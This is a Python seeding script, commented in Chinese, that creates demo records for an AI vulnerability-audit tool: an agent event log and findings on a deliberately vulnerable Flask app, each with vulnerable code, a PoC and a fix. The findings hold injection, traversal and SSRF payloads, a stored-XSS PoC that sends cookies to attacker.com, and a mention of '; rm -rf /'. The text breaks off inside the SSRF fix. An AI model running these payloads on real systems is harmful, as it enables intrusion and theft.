#!/usr/bin/env python3
"""
创建 Agent 审计任务演示数据
用于生成 HTML 报告示例展示

运行方式:
cd backend && python -m scripts.create_agent_demo_data
"""

import asyncio
import json
import uuid
import sys
import os
from datetime import datetime, timedelta, timezone

# 添加backend目录到路径
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker
from sqlalchemy.future import select

from app.core.config import settings
from app.models.user import User
from app.models.project import Project
from app.models.agent_task import (
    AgentTask, AgentEvent, AgentFinding, AgentTreeNode, AgentCheckpoint,
    AgentTaskStatus, AgentTaskPhase, AgentEventType,
    VulnerabilitySeverity, VulnerabilityType, FindingStatus
)


# 演示数据配置
DEMO_PROJECT_NAME = "VulnWebApp - 安全演示项目"
DEMO_TASK_NAME = "智能漏洞挖掘审计 - 完整示例"


async def get_or_create_demo_project(db: AsyncSession, user_id: str) -> Project:
    """获取或创建演示项目"""
    result = await db.execute(
        select(Project).where(Project.name == DEMO_PROJECT_NAME)
    )
    project = result.scalars().first()

    if not project:
        project = Project(
            name=DEMO_PROJECT_NAME,
            description="用于演示 Agent 智能审计功能的示例 Web 应用项目，包含多种常见安全漏洞",
            source_type="zip",
            owner_id=user_id,
            is_active=True,
            default_branch="main",
            programming_languages=json.dumps(["Python", "JavaScript", "SQL"]),
            created_at=datetime.now(timezone.utc) - timedelta(days=7),
        )
        db.add(project)
        await db.flush()
        print(f"✓ 创建演示项目: {project.name}")
    else:
        print(f"演示项目已存在: {project.name}")

    return project


async def create_agent_demo_task(db: AsyncSession, project: Project, user_id: str) -> AgentTask:
    """创建 Agent 审计任务演示数据"""

    # 检查是否已存在
    result = await db.execute(
        select(AgentTask).where(AgentTask.name == DEMO_TASK_NAME)
    )
    existing = result.scalars().first()
    if existing:
        print(f"删除已存在的演示任务: {existing.id}")
        await db.delete(existing)
        await db.flush()

    now = datetime.now(timezone.utc)
    task_start = now - timedelta(minutes=15)
    task_end = now - timedelta(minutes=2)

    # 创建 Agent 任务
    task = AgentTask(
        id=str(uuid.uuid4()),
        project_id=project.id,
        created_by=user_id,
        name=DEMO_TASK_NAME,
        description="对 VulnWebApp 进行全面的安全漏洞扫描，包括 SQL 注入、XSS、命令注入等常见漏洞类型的检测与验证",
        task_type="agent_audit",

        # 配置
        audit_scope={"include": ["**/*.py", "**/*.js", "**/*.html"], "exclude": ["tests/*", "node_modules/*"]},
        target_vulnerabilities=["sql_injection", "xss", "command_injection", "path_traversal", "ssrf", "hardcoded_secret"],
        verification_level="sandbox",
        branch_name="main",
        exclude_patterns=["*.test.py", "*.spec.js", "__pycache__/*"],

        # LLM 配置
        llm_config={"provider": "openai", "model": "gpt-4", "temperature": 0.1},
        agent_config={"max_depth": 3, "enable_verification": True, "enable_poc_generation": True},
        max_iterations=50,
        token_budget=100000,
        timeout_seconds=1800,

        # 状态
        status=AgentTaskStatus.COMPLETED,
        current_phase=AgentTaskPhase.REPORTING,
        current_step="报告生成完成",

        # 进度统计
        total_files=48,
        indexed_files=48,
        analyzed_files=48,
        total_chunks=156,

        # Agent 统计
        total_iterations=32,
        tool_calls_count=87,
        tokens_used=45680,

        # 发现统计
        findings_count=8,
        verified_count=6,
        false_positive_count=1,

        # 严重程度统计
        critical_count=2,
        high_count=3,
        medium_count=2,
        low_count=1,

        # 评分
        quality_score=72.5,
        security_score=35.8,

        # 审计计划
        audit_plan={
            "phases": [
                {"name": "代码索引", "description": "建立代码向量索引，支持语义检索"},
                {"name": "入口点识别", "description": "识别用户输入入口点和敏感API"},
                {"name": "漏洞模式匹配", "description": "基于已知漏洞模式进行检测"},
                {"name": "数据流分析", "description": "追踪污点数据流，验证漏洞可达性"},
                {"name": "沙箱验证", "description": "在隔离环境中验证漏洞可利用性"},
                {"name": "PoC 生成", "description": "为已验证漏洞生成概念验证代码"},
            ],
            "focus_areas": ["用户认证模块", "数据库查询接口", "文件上传功能", "API 端点"],
        },

        # 时间戳
        created_at=task_start - timedelta(minutes=1),
        started_at=task_start,
        completed_at=task_end,
    )

    db.add(task)
    await db.flush()
    print(f"✓ 创建 Agent 任务: {task.id}")

    return task


async def create_agent_events(db: AsyncSession, task: AgentTask) -> list:
    """创建 Agent 事件流"""

    events = []
    base_time = task.started_at
    sequence = 0

    def add_event(event_type: str, message: str, phase: str = None,
                  tool_name: str = None, tool_input: dict = None,
                  tool_output: dict = None, tool_duration_ms: int = None,
                  finding_id: str = None, tokens_used: int = 0,
                  metadata: dict = None, time_offset_seconds: int = 0):
        nonlocal sequence
        sequence += 1
        event = AgentEvent(
            id=str(uuid.uuid4()),
            task_id=task.id,
            event_type=event_type,
            phase=phase,
            message=message,
            tool_name=tool_name,
            tool_input=tool_input,
            tool_output=tool_output,
            tool_duration_ms=tool_duration_ms,
            finding_id=finding_id,
            tokens_used=tokens_used,
            event_metadata=metadata,
            sequence=sequence,
            created_at=base_time + timedelta(seconds=time_offset_seconds),
        )
        events.append(event)
        return event

    # ========== 任务启动 ==========
    add_event(
        AgentEventType.TASK_START,
        "Agent 审计任务启动，开始智能漏洞挖掘",
        metadata={"target_vulnerabilities": task.target_vulnerabilities},
        time_offset_seconds=0
    )

    # ========== 规划阶段 ==========
    add_event(
        AgentEventType.PHASE_START,
        "进入规划阶段 - 分析项目结构，制定审计策略",
        phase=AgentTaskPhase.PLANNING,
        time_offset_seconds=5
    )

    add_event(
        AgentEventType.THINKING,
        "分析项目结构：检测到 Flask Web 应用框架，包含用户认证、数据库操作、文件处理等模块。重点关注 SQL 注入、XSS、命令注入等高危漏洞。",
        phase=AgentTaskPhase.PLANNING,
        tokens_used=450,
        time_offset_seconds=10
    )

    add_event(
        AgentEventType.PLANNING,
        "制定审计计划：1) 索引代码库 2) 识别入口点 3) 模式匹配检测 4) 数据流分析 5) 沙箱验证 6) 生成报告",
        phase=AgentTaskPhase.PLANNING,
        tokens_used=380,
        time_offset_seconds=15
    )

    add_event(
        AgentEventType.PHASE_COMPLETE,
        "规划阶段完成，识别出 12 个高优先级检查点",
        phase=AgentTaskPhase.PLANNING,
        time_offset_seconds=20
    )

    # ========== 索引阶段 ==========
    add_event(
        AgentEventType.PHASE_START,
        "进入索引阶段 - 构建代码向量索引",
        phase=AgentTaskPhase.INDEXING,
        time_offset_seconds=25
    )

    add_event(
        AgentEventType.TOOL_CALL,
        "调用 RAG 索引工具，处理源代码文件",
        phase=AgentTaskPhase.INDEXING,
        tool_name="rag_index",
        tool_input={"paths": ["app/", "routes/", "models/", "utils/"], "chunk_size": 1500},
        time_offset_seconds=30
    )

    add_event(
        AgentEventType.RAG_RESULT,
        "代码索引完成：48 个文件，156 个代码块，向量维度 1536",
        phase=AgentTaskPhase.INDEXING,
        tool_name="rag_index",
        tool_output={"files_indexed": 48, "chunks_created": 156, "vector_dim": 1536},
        tool_duration_ms=8500,
        time_offset_seconds=45
    )

    add_event(
        AgentEventType.PHASE_COMPLETE,
        "索引阶段完成",
        phase=AgentTaskPhase.INDEXING,
        time_offset_seconds=50
    )

    # ========== 分析阶段 ==========
    add_event(
        AgentEventType.PHASE_START,
        "进入分析阶段 - 执行漏洞检测",
        phase=AgentTaskPhase.ANALYSIS,
        time_offset_seconds=55
    )

    # SQL 注入检测
    add_event(
        AgentEventType.THINKING,
        "开始检测 SQL 注入漏洞：搜索数据库查询相关代码，识别用户输入拼接到 SQL 语句的模式",
        phase=AgentTaskPhase.ANALYSIS,
        tokens_used=320,
        time_offset_seconds=60
    )

    add_event(
        AgentEventType.RAG_QUERY,
        "语义检索：查找 SQL 查询和用户输入处理代码",
        phase=AgentTaskPhase.ANALYSIS,
        tool_name="rag_search",
        tool_input={"query": "SQL query user input parameter database execute", "top_k": 10},
        time_offset_seconds=65
    )

    add_event(
        AgentEventType.TOOL_CALL,
        "读取文件: app/routes/user.py",
        phase=AgentTaskPhase.ANALYSIS,
        tool_name="read_file",
        tool_input={"path": "app/routes/user.py", "start_line": 45, "end_line": 80},
        time_offset_seconds=70
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现 SQL 注入漏洞 [Critical]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "sql_injection", "severity": "critical", "file": "app/routes/user.py", "line": 52},
        time_offset_seconds=80
    )

    # XSS 检测
    add_event(
        AgentEventType.THINKING,
        "开始检测 XSS 漏洞：搜索 HTML 渲染和用户输入输出相关代码",
        phase=AgentTaskPhase.ANALYSIS,
        tokens_used=280,
        time_offset_seconds=120
    )

    add_event(
        AgentEventType.TOOL_CALL,
        "读取文件: app/templates/comment.html",
        phase=AgentTaskPhase.ANALYSIS,
        tool_name="read_file",
        tool_input={"path": "app/templates/comment.html"},
        time_offset_seconds=130
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现存储型 XSS 漏洞 [High]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "xss", "severity": "high", "file": "app/templates/comment.html", "line": 28},
        time_offset_seconds=145
    )

    # 命令注入检测
    add_event(
        AgentEventType.RAG_QUERY,
        "语义检索：查找系统命令执行相关代码",
        phase=AgentTaskPhase.ANALYSIS,
        tool_name="rag_search",
        tool_input={"query": "os.system subprocess shell command execute", "top_k": 10},
        time_offset_seconds=180
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现命令注入漏洞 [Critical]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "command_injection", "severity": "critical", "file": "app/utils/backup.py", "line": 34},
        time_offset_seconds=210
    )

    # 路径遍历检测
    add_event(
        AgentEventType.TOOL_CALL,
        "分析文件操作代码",
        phase=AgentTaskPhase.ANALYSIS,
        tool_name="analyze_code",
        tool_input={"pattern": "file path user input", "scope": "app/routes/"},
        time_offset_seconds=250
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现路径遍历漏洞 [High]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "path_traversal", "severity": "high", "file": "app/routes/download.py", "line": 18},
        time_offset_seconds=280
    )

    # SSRF 检测
    add_event(
        AgentEventType.FINDING_NEW,
        "发现 SSRF 漏洞 [High]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "ssrf", "severity": "high", "file": "app/routes/proxy.py", "line": 42},
        time_offset_seconds=320
    )

    # 硬编码密钥检测
    add_event(
        AgentEventType.TOOL_CALL,
        "扫描硬编码密钥和敏感信息",
        phase=AgentTaskPhase.ANALYSIS,
        tool_name="secret_scan",
        tool_input={"patterns": ["api_key", "password", "secret", "token"]},
        time_offset_seconds=360
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现硬编码 API 密钥 [Medium]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "hardcoded_secret", "severity": "medium", "file": "app/config.py", "line": 15},
        time_offset_seconds=380
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现弱加密配置 [Medium]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "weak_crypto", "severity": "medium", "file": "app/utils/crypto.py", "line": 8},
        time_offset_seconds=400
    )

    add_event(
        AgentEventType.FINDING_NEW,
        "发现调试模式未关闭 [Low]",
        phase=AgentTaskPhase.ANALYSIS,
        metadata={"vulnerability_type": "security_misconfiguration", "severity": "low", "file": "app/__init__.py", "line": 25},
        time_offset_seconds=420
    )

    add_event(
        AgentEventType.PHASE_COMPLETE,
        "分析阶段完成，发现 8 个潜在漏洞",
        phase=AgentTaskPhase.ANALYSIS,
        time_offset_seconds=450
    )

    # ========== 验证阶段 ==========
    add_event(
        AgentEventType.PHASE_START,
        "进入验证阶段 - 在沙箱环境中验证漏洞",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=460
    )

    # SQL 注入验证
    add_event(
        AgentEventType.SANDBOX_START,
        "启动沙箱环境验证 SQL 注入漏洞",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        time_offset_seconds=470
    )

    add_event(
        AgentEventType.SANDBOX_EXEC,
        "执行 SQL 注入 PoC：' OR '1'='1' --",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_input={"payload": "' OR '1'='1' --", "target": "/api/user/search?name="},
        time_offset_seconds=480
    )

    add_event(
        AgentEventType.SANDBOX_RESULT,
        "SQL 注入验证成功 - 成功绕过认证获取所有用户数据",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_output={"success": True, "response_code": 200, "data_leaked": True},
        tool_duration_ms=1200,
        time_offset_seconds=490
    )

    add_event(
        AgentEventType.FINDING_VERIFIED,
        "SQL 注入漏洞已验证 [Critical]",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=495
    )

    # 命令注入验证
    add_event(
        AgentEventType.SANDBOX_EXEC,
        "执行命令注入 PoC：; id; whoami",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_input={"payload": "; id; whoami", "target": "/api/backup?filename="},
        time_offset_seconds=520
    )

    add_event(
        AgentEventType.SANDBOX_RESULT,
        "命令注入验证成功 - 成功执行任意系统命令",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_output={"success": True, "output": "uid=1000(www-data) gid=1000(www-data)"},
        tool_duration_ms=800,
        time_offset_seconds=535
    )

    add_event(
        AgentEventType.FINDING_VERIFIED,
        "命令注入漏洞已验证 [Critical]",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=540
    )

    # XSS 验证
    add_event(
        AgentEventType.SANDBOX_EXEC,
        "执行 XSS PoC：<script>alert('XSS')</script>",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_input={"payload": "<script>alert('XSS')</script>", "target": "/api/comment"},
        time_offset_seconds=560
    )

    add_event(
        AgentEventType.FINDING_VERIFIED,
        "存储型 XSS 漏洞已验证 [High]",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=580
    )

    # 路径遍历验证
    add_event(
        AgentEventType.SANDBOX_EXEC,
        "执行路径遍历 PoC：../../../etc/passwd",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_input={"payload": "../../../etc/passwd", "target": "/api/download?file="},
        time_offset_seconds=600
    )

    add_event(
        AgentEventType.FINDING_VERIFIED,
        "路径遍历漏洞已验证 [High]",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=620
    )

    # SSRF 验证
    add_event(
        AgentEventType.SANDBOX_EXEC,
        "执行 SSRF PoC：http://169.254.169.254/latest/meta-data/",
        phase=AgentTaskPhase.VERIFICATION,
        tool_name="sandbox",
        tool_input={"payload": "http://169.254.169.254/latest/meta-data/", "target": "/api/proxy?url="},
        time_offset_seconds=640
    )

    add_event(
        AgentEventType.FINDING_VERIFIED,
        "SSRF 漏洞已验证 [High]",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=660
    )

    # 误报排除
    add_event(
        AgentEventType.THINKING,
        "验证硬编码密钥：检查是否为测试/示例配置",
        phase=AgentTaskPhase.VERIFICATION,
        tokens_used=180,
        time_offset_seconds=680
    )

    add_event(
        AgentEventType.FINDING_FALSE_POSITIVE,
        "硬编码密钥为误报 - 该文件为示例配置模板",
        phase=AgentTaskPhase.VERIFICATION,
        metadata={"reason": "File is example configuration template, not production code"},
        time_offset_seconds=700
    )

    add_event(
        AgentEventType.PHASE_COMPLETE,
        "验证阶段完成：6 个漏洞已验证，1 个误报已排除",
        phase=AgentTaskPhase.VERIFICATION,
        time_offset_seconds=720
    )

    # ========== 报告阶段 ==========
    add_event(
        AgentEventType.PHASE_START,
        "进入报告阶段 - 生成安全审计报告",
        phase=AgentTaskPhase.REPORTING,
        time_offset_seconds=730
    )

    add_event(
        AgentEventType.TOOL_CALL,
        "生成漏洞详情和修复建议",
        phase=AgentTaskPhase.REPORTING,
        tool_name="generate_report",
        tool_input={"format": "html", "include_poc": True, "include_fix": True},
        time_offset_seconds=740
    )

    add_event(
        AgentEventType.INFO,
        "报告生成完成：包含 8 个发现、6 个已验证漏洞、详细修复建议和 PoC 代码",
        phase=AgentTaskPhase.REPORTING,
        time_offset_seconds=760
    )

    add_event(
        AgentEventType.PHASE_COMPLETE,
        "报告阶段完成",
        phase=AgentTaskPhase.REPORTING,
        time_offset_seconds=770
    )

    # ========== 任务完成 ==========
    add_event(
        AgentEventType.TASK_COMPLETE,
        "Agent 审计任务完成！发现 8 个安全问题，其中 2 个严重、3 个高危、2 个中危、1 个低危",
        metadata={
            "total_findings": 8,
            "verified": 6,
            "false_positives": 1,
            "severity_distribution": {"critical": 2, "high": 3, "medium": 2, "low": 1},
            "duration_seconds": 780,
            "tokens_used": 45680,
        },
        time_offset_seconds=780
    )

    # 批量保存事件
    for event in events:
        db.add(event)

    await db.flush()
    print(f"✓ 创建了 {len(events)} 个 Agent 事件")

    return events


async def create_agent_findings(db: AsyncSession, task: AgentTask) -> list:
    """创建 Agent 发现的漏洞"""

    findings_data = [
        {
            "vulnerability_type": VulnerabilityType.SQL_INJECTION,
            "severity": VulnerabilitySeverity.CRITICAL,
            "title": "用户搜索接口存在 SQL 注入漏洞",
            "description": "在 /api/user/search 接口中，用户输入的 name 参数直接拼接到 SQL 查询语句中，未经过任何过滤或参数化处理，攻击者可以通过构造恶意输入执行任意 SQL 语句。",
            "file_path": "app/routes/user.py",
            "line_start": 52,
            "line_end": 58,
            "function_name": "search_user",
            "code_snippet": '''@app.route('/api/user/search')
def search_user():
    name = request.args.get('name', '')
    # 危险：直接拼接用户输入到SQL语句
    query = f"SELECT * FROM users WHERE name LIKE '%{name}%'"
    result = db.execute(query)
    return jsonify(result.fetchall())''',
            "source": "request.args.get('name')",
            "sink": "db.execute(query)",
            "dataflow_path": [
                {"step": 1, "location": "line 54", "description": "用户输入从 request.args.get() 获取"},
                {"step": 2, "location": "line 56", "description": "用户输入直接拼接到 SQL 字符串"},
                {"step": 3, "location": "line 57", "description": "拼接后的 SQL 被执行"},
            ],
            "status": FindingStatus.VERIFIED,
            "is_verified": True,
            "verification_method": "沙箱验证 - 成功执行 SQL 注入攻击",
            "verification_result": {"success": True, "payload": "' OR '1'='1' --", "impact": "绕过认证，获取所有用户数据"},
            "has_poc": True,
            "poc_code": '''import requests

# SQL 注入 PoC
target_url = "http://target.com/api/user/search"

# Payload: 绕过认证获取所有用户
payload = "' OR '1'='1' --"

response = requests.get(target_url, params={"name": payload})
print(f"Status: {response.status_code}")
print(f"Data: {response.json()}")

# 预期结果：返回所有用户数据，而非仅匹配搜索条件的用户''',
            "poc_description": "通过在 name 参数中注入 SQL 语句，绕过查询条件获取数据库中所有用户信息",
            "poc_steps": [
                "访问目标 URL: /api/user/search?name=' OR '1'='1' --",
                "观察响应：应返回所有用户数据",
                "进一步利用：可尝试 UNION 注入获取其他表数据",
            ],
            "suggestion": "使用参数化查询或 ORM 框架来防止 SQL 注入",
            "fix_code": '''@app.route('/api/user/search')
def search_user():
    name = request.args.get('name', '')
    # 修复：使用参数化查询
    query = "SELECT * FROM users WHERE name LIKE :name"
    result = db.execute(query, {"name": f"%{name}%"})
    return jsonify(result.fetchall())''',
            "fix_description": "使用 SQLAlchemy 的参数化查询功能，将用户输入作为参数传递，而非直接拼接到 SQL 语句中",
            "references": [
                {"type": "CWE", "id": "CWE-89", "url": "https://cwe.mitre.org/data/definitions/89.html"},
                {"type": "OWASP", "id": "A03:2021", "url": "https://owasp.org/Top10/A03_2021-Injection/"},
            ],
            "ai_explanation": "这是一个典型的 SQL 注入漏洞。代码直接将用户输入拼接到 SQL 查询字符串中，没有进行任何转义或参数化处理。攻击者可以通过特殊字符（如单引号）闭合原有的 SQL 语句，然后注入自己的 SQL 代码。",
            "ai_confidence": 0.98,
            "xai_what": "SQL 注入是一种代码注入技术，攻击者通过在输入字段中插入恶意 SQL 代码来操纵数据库查询。",
            "xai_why": "该漏洞存在是因为开发者直接将用户输入拼接到 SQL 语句中，没有使用参数化查询或进行输入验证。",
            "xai_how": "攻击者可以在 name 参数中输入 ' OR '1'='1' -- 来绕过查询条件，或使用 UNION SELECT 来获取其他表的数据。",
            "xai_impact": "攻击者可以：1) 绕过认证 2) 读取敏感数据 3) 修改或删除数据 4) 在某些情况下执行系统命令。",
            "cvss_score": 9.8,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "tags": ["owasp-top10", "injection", "database", "authentication-bypass"],
        },
        {
            "vulnerability_type": VulnerabilityType.COMMAND_INJECTION,
            "severity": VulnerabilitySeverity.CRITICAL,
            "title": "备份功能存在命令注入漏洞",
            "description": "在备份功能中，用户提供的文件名参数直接传递给 os.system() 函数执行，攻击者可以通过命令分隔符（如 ; 或 |）注入任意系统命令。",
            "file_path": "app/utils/backup.py",
            "line_start": 34,
            "line_end": 40,
            "function_name": "create_backup",
            "code_snippet": '''def create_backup(filename):
    """创建备份文件"""
    # 危险：直接将用户输入传递给系统命令
    backup_path = f"/backups/{filename}.tar.gz"
    cmd = f"tar -czf {backup_path} /data/"
    os.system(cmd)  # 命令注入风险
    return backup_path''',
            "source": "filename 参数",
            "sink": "os.system(cmd)",
            "dataflow_path": [
                {"step": 1, "location": "line 34", "description": "filename 参数从外部传入"},
                {"step": 2, "location": "line 36", "description": "filename 拼接到 shell 命令"},
                {"step": 3, "location": "line 37", "description": "命令通过 os.system() 执行"},
            ],
            "status": FindingStatus.VERIFIED,
            "is_verified": True,
            "verification_method": "沙箱验证 - 成功执行任意命令",
            "verification_result": {"success": True, "payload": "; id; whoami", "output": "uid=1000(www-data)"},
            "has_poc": True,
            "poc_code": '''import requests

# 命令注入 PoC
target_url = "http://target.com/api/backup"

# Payload: 注入系统命令
payload = "test; id; cat /etc/passwd"

response = requests.post(target_url, json={"filename": payload})
print(f"Response: {response.text}")

# 预期结果：服务器执行 id 和 cat /etc/passwd 命令''',
            "poc_description": "通过在 filename 参数中注入分号和系统命令，在服务器上执行任意代码",
            "poc_steps": [
                "构造恶意 filename: test; id; cat /etc/passwd",
                "发送请求到 /api/backup 接口",
                "观察服务器响应或日志中的命令执行结果",
            ],
            "suggestion": "避免使用 os.system()，改用 subprocess 模块并禁用 shell=True，对用户输入进行严格的白名单验证",
            "fix_code": '''import subprocess
import re

def create_backup(filename):
    """创建备份文件 - 安全版本"""
    # 修复：验证文件名只包含安全字符
    if not re.match(r'^[a-zA-Z0-9_-]+$', filename):
        raise ValueError("Invalid filename")

    backup_path = f"/backups/{filename}.tar.gz"
    # 修复：使用 subprocess 并传递参数列表
    subprocess.run(
        ["tar", "-czf", backup_path, "/data/"],
        check=True,
        shell=False  # 禁用shell
    )
    return backup_path''',
            "fix_description": "1) 使用正则表达式验证文件名只包含安全字符 2) 使用 subprocess.run() 替代 os.system() 3) 禁用 shell 模式，将参数作为列表传递",
            "references": [
                {"type": "CWE", "id": "CWE-78", "url": "https://cwe.mitre.org/data/definitions/78.html"},
                {"type": "OWASP", "id": "A03:2021", "url": "https://owasp.org/Top10/A03_2021-Injection/"},
            ],
            "ai_explanation": "这是一个严重的命令注入漏洞。os.system() 函数会通过 shell 执行命令，当用户输入被直接拼接到命令字符串中时，攻击者可以使用 shell 的特殊字符（如 ;、|、&&）来注入额外的命令。",
            "ai_confidence": 0.99,
            "xai_what": "命令注入允许攻击者在目标系统上执行任意操作系统命令。",
            "xai_why": "该漏洞存在是因为用户输入直接拼接到 shell 命令中，没有进行任何过滤或转义。",
            "xai_how": "攻击者可以在 filename 参数中输入 ; rm -rf / 来删除服务器文件，或执行反弹 shell 获取服务器控制权。",
            "xai_impact": "完全的服务器控制权，包括：读取敏感文件、安装后门、横向移动、数据窃取、服务中断等。",
            "cvss_score": 10.0,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "tags": ["owasp-top10", "injection", "rce", "critical"],
        },
        {
            "vulnerability_type": VulnerabilityType.XSS,
            "severity": VulnerabilitySeverity.HIGH,
            "title": "评论功能存在存储型 XSS 漏洞",
            "description": "用户提交的评论内容在展示时未经 HTML 转义直接渲染，攻击者可以在评论中注入恶意 JavaScript 代码，当其他用户查看评论时会执行这些代码。",
            "file_path": "app/templates/comment.html",
            "line_start": 28,
            "line_end": 32,
            "function_name": None,
            "code_snippet": '''<div class="comment-list">
    {% for comment in comments %}
    <div class="comment-item">
        <p class="comment-content">{{ comment.content | safe }}</p>
        <!-- 危险：使用 safe 过滤器禁用了自动转义 -->
    </div>
    {% endfor %}
</div>''',
            "source": "comment.content (用户提交的评论)",
            "sink": "{{ comment.content | safe }}",
            "status": FindingStatus.VERIFIED,
            "is_verified": True,
            "verification_method": "沙箱验证 - XSS payload 成功执行",
            "verification_result": {"success": True, "payload": "<script>alert('XSS')</script>"},
            "has_poc": True,
            "poc_code": """import requests

# 存储型 XSS PoC
target_url = "http://target.com/api/comment"

# Payload: 窃取用户 Cookie
payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'

response = requests.post(target_url, json={"content": payload})
print(f"Comment posted: {response.status_code}")

# 当其他用户访问评论页面时，恶意脚本会自动执行""",
            "poc_description": "通过在评论中注入 JavaScript 代码，当其他用户查看页面时窃取其 Cookie",
            "suggestion": "移除 safe 过滤器，让 Jinja2 自动转义 HTML 特殊字符",
            "fix_code": '''<div class="comment-list">
    {% for comment in comments %}
    <div class="comment-item">
        <!-- 修复：移除 safe 过滤器，使用自动转义 -->
        <p class="comment-content">{{ comment.content }}</p>
    </div>
    {% endfor %}
</div>''',
            "fix_description": "移除 | safe 过滤器，让 Jinja2 模板引擎自动对用户内容进行 HTML 转义",
            "references": [
                {"type": "CWE", "id": "CWE-79", "url": "https://cwe.mitre.org/data/definitions/79.html"},
                {"type": "OWASP", "id": "A03:2021", "url": "https://owasp.org/Top10/A03_2021-Injection/"},
            ],
            "ai_confidence": 0.96,
            "xai_what": "存储型 XSS 是指恶意脚本被永久存储在目标服务器上，当用户访问包含该脚本的页面时会自动执行。",
            "xai_why": "该漏洞存在是因为模板使用了 safe 过滤器，禁用了 Jinja2 的自动 HTML 转义功能。",
            "xai_how": "攻击者提交包含 <script> 标签的评论，当其他用户浏览评论时，恶意脚本会在其浏览器中执行。",
            "xai_impact": "会话劫持、钓鱼攻击、恶意重定向、键盘记录、加密货币挖矿等。",
            "cvss_score": 8.1,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "tags": ["owasp-top10", "xss", "stored-xss", "frontend"],
        },
        {
            "vulnerability_type": VulnerabilityType.PATH_TRAVERSAL,
            "severity": VulnerabilitySeverity.HIGH,
            "title": "文件下载接口存在路径遍历漏洞",
            "description": "文件下载接口直接使用用户提供的文件名参数构建文件路径，没有验证路径是否在允许的目录范围内，攻击者可以使用 ../ 序列访问任意文件。",
            "file_path": "app/routes/download.py",
            "line_start": 18,
            "line_end": 26,
            "function_name": "download_file",
            "code_snippet": '''@app.route('/api/download')
def download_file():
    filename = request.args.get('file')
    # 危险：直接拼接用户输入构建路径
    file_path = os.path.join('/uploads/', filename)

    if os.path.exists(file_path):
        return send_file(file_path)
    return "File not found", 404''',
            "source": "request.args.get('file')",
            "sink": "send_file(file_path)",
            "status": FindingStatus.VERIFIED,
            "is_verified": True,
            "verification_method": "沙箱验证 - 成功读取 /etc/passwd",
            "verification_result": {"success": True, "payload": "../../../etc/passwd", "file_read": True},
            "has_poc": True,
            "poc_code": '''import requests

# 路径遍历 PoC
target_url = "http://target.com/api/download"

# Payload: 读取系统敏感文件
payload = "../../../etc/passwd"

response = requests.get(target_url, params={"file": payload})
print(f"File content:\\n{response.text}")''',
            "suggestion": "使用 os.path.realpath() 解析路径后验证是否在允许的目录内",
            "fix_code": '''import os
from pathlib import Path

UPLOAD_DIR = Path('/uploads/').resolve()

@app.route('/api/download')
def download_file():
    filename = request.args.get('file')

    # 修复：解析真实路径并验证
    file_path = (UPLOAD_DIR / filename).resolve()

    # 确保文件在允许的目录内
    if not str(file_path).startswith(str(UPLOAD_DIR)):
        return "Access denied", 403

    if file_path.exists():
        return send_file(file_path)
    return "File not found", 404''',
            "references": [
                {"type": "CWE", "id": "CWE-22", "url": "https://cwe.mitre.org/data/definitions/22.html"},
            ],
            "ai_confidence": 0.95,
            "cvss_score": 7.5,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "tags": ["path-traversal", "file-read", "lfi"],
        },
        {
            "vulnerability_type": VulnerabilityType.SSRF,
            "severity": VulnerabilitySeverity.HIGH,
            "title": "代理接口存在 SSRF 漏洞",
            "description": "代理接口接受用户提供的 URL 并发起请求，没有验证目标地址，攻击者可以利用此漏洞访问内网资源或云元数据服务。",
            "file_path": "app/routes/proxy.py",
            "line_start": 42,
            "line_end": 50,
            "function_name": "proxy_request",
            "code_snippet": '''@app.route('/api/proxy')
def proxy_request():
    target_url = request.args.get('url')
    # 危险：直接请求用户提供的 URL
    response = requests.get(target_url)
    return response.content''',
            "source": "request.args.get('url')",
            "sink": "requests.get(target_url)",
            "status": FindingStatus.VERIFIED,
            "is_verified": True,
            "verification_method": "沙箱验证 - 成功访问内网元数据服务",
            "verification_result": {"success": True, "payload": "http://169.254.169.254/latest/meta-data/"},
            "has_poc": True,
            "poc_code": '''import requests

# SSRF PoC - 访问 AWS 元数据
target_url = "http://target.com/api/proxy"
payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

response = requests.get(target_url, params={"url": payload})
print(f"AWS Credentials:\\n{response.text}")''',
            "suggestion": "实现 URL 白名单验证，禁止访问内网地址和元数据服务",
            "fix_code": '''from urllib.parse import urlparse
import ipaddress

